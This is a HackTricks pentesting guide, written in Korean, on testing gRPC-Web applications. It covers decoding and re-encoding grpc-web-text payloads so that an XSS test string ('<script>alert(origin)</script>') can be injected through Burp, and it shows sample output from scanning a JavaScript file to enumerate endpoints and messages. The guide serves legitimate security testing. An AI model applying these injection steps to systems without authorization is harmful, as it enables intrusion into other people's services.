hacktricks/src/pentesting-web/grpc-web-pentest.md

141 lines
6.2 KiB
Markdown

# Pentesting gRPC-Web
{{#include ../banners/hacktricks-training.md}}
## **gRPC-Web 페이로드 조작하기**
gRPC-Web는 요청에서 Content-Type: `application/grpc-web-text`를 사용하며, 이는 base64로 인코딩된 protobuf의 일종입니다. [gprc-coder](https://github.com/nxenon/grpc-pentest-suite) 도구를 사용할 수 있으며, [Burp Suite Extension](https://github.com/nxenon/grpc-pentest-suite)도 설치할 수 있습니다.
### **gGRPC Coder 도구를 사용한 수동 작업**
1. 먼저 페이로드를 디코딩합니다:
```bash
echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt
```
2. 디코딩된 페이로드의 내용을 편집합니다.
```
nano out.txt
2: {"Amin Nasiri Xenon GRPC"}
3: 54
7: {"<script>alert(origin)</script>"}
```
3. 새로운 페이로드 인코딩하기
```bash
protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text
```
4. Burp 인터셉터에서 출력 사용:
```
AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+
```
### **Manual with gRPC-Web Coder Burp Suite Extension**
gRPC-Web Coder Burp Suite Extension을 [gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite)에서 사용할 수 있으며, 이는 더 쉽습니다. 설치 및 사용 지침은 해당 리포지토리에서 확인할 수 있습니다.
## **gRPC-Web Javascript 파일 분석하기**
모든 gRPC-Web 애플리케이션에는 최소한 하나의 Javascript 파일이 있습니다. 이 파일을 분석하여 새로운 메시지, 엔드포인트 및 서비스를 찾을 수 있습니다. [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite) 도구를 사용해 보세요.
1. Javascript gRPC-Web 파일 다운로드
2. grpc-scan.py로 스캔하기:
```bash
python3 grpc-scan.py --file main.js
```
3. 출력 분석 및 새로운 엔드포인트와 새로운 서비스 테스트:
```
Output:
Found Endpoints:
/grpc.gateway.testing.EchoService/Echo
/grpc.gateway.testing.EchoService/EchoAbort
/grpc.gateway.testing.EchoService/NoOp
/grpc.gateway.testing.EchoService/ServerStreamingEcho
/grpc.gateway.testing.EchoService/ServerStreamingEchoAbort
Found Messages:
grpc.gateway.testing.EchoRequest:
+------------+--------------------+--------------+
| Field Name | Field Type | Field Number |
+============+====================+==============+
| Message | Proto3StringField | 1 |
+------------+--------------------+--------------+
| Name | Proto3StringField | 2 |
+------------+--------------------+--------------+
| Age | Proto3IntField | 3 |
+------------+--------------------+--------------+
| IsAdmin | Proto3BooleanField | 4 |
+------------+--------------------+--------------+
| Weight | Proto3FloatField | 5 |
+------------+--------------------+--------------+
| Test | Proto3StringField | 6 |
+------------+--------------------+--------------+
| Test2 | Proto3StringField | 7 |
+------------+--------------------+--------------+
| Test3 | Proto3StringField | 16 |
+------------+--------------------+--------------+
| Test4 | Proto3StringField | 20 |
+------------+--------------------+--------------+
grpc.gateway.testing.EchoResponse:
+--------------+--------------------+--------------+
| Field Name | Field Type | Field Number |
+==============+====================+==============+
| Message | Proto3StringField | 1 |
+--------------+--------------------+--------------+
| Name | Proto3StringField | 2 |
+--------------+--------------------+--------------+
| Age | Proto3IntField | 3 |
+--------------+--------------------+--------------+
| IsAdmin | Proto3BooleanField | 4 |
+--------------+--------------------+--------------+
| Weight | Proto3FloatField | 5 |
+--------------+--------------------+--------------+
| Test | Proto3StringField | 6 |
+--------------+--------------------+--------------+
| Test2 | Proto3StringField | 7 |
+--------------+--------------------+--------------+
| Test3 | Proto3StringField | 16 |
+--------------+--------------------+--------------+
| Test4 | Proto3StringField | 20 |
+--------------+--------------------+--------------+
| MessageCount | Proto3IntField | 8 |
+--------------+--------------------+--------------+
grpc.gateway.testing.ServerStreamingEchoRequest:
+-----------------+-------------------+--------------+
| Field Name | Field Type | Field Number |
+=================+===================+==============+
| Message | Proto3StringField | 1 |
+-----------------+-------------------+--------------+
| MessageCount | Proto3IntField | 2 |
+-----------------+-------------------+--------------+
| MessageInterval | Proto3IntField | 3 |
+-----------------+-------------------+--------------+
grpc.gateway.testing.ServerStreamingEchoResponse:
+------------+-------------------+--------------+
| Field Name | Field Type | Field Number |
+============+===================+==============+
| Message | Proto3StringField | 1 |
+------------+-------------------+--------------+
grpc.gateway.testing.ClientStreamingEchoRequest:
+------------+-------------------+--------------+
| Field Name | Field Type | Field Number |
+============+===================+==============+
| Message | Proto3StringField | 1 |
+------------+-------------------+--------------+
grpc.gateway.testing.ClientStreamingEchoResponse:
+--------------+----------------+--------------+
| Field Name | Field Type | Field Number |
+==============+================+==============+
| MessageCount | Proto3IntField | 1 |
+--------------+----------------+--------------+
```
## References
- [Amin Nasiri의 gRPC-Web 해킹 기사](https://infosecwriteups.com/hacking-into-grpc-web-a54053757a45)
- [gRPC-Web 펜테스트 스위트](https://github.com/nxenon/grpc-pentest-suite)
{{#include ../banners/hacktricks-training.md}}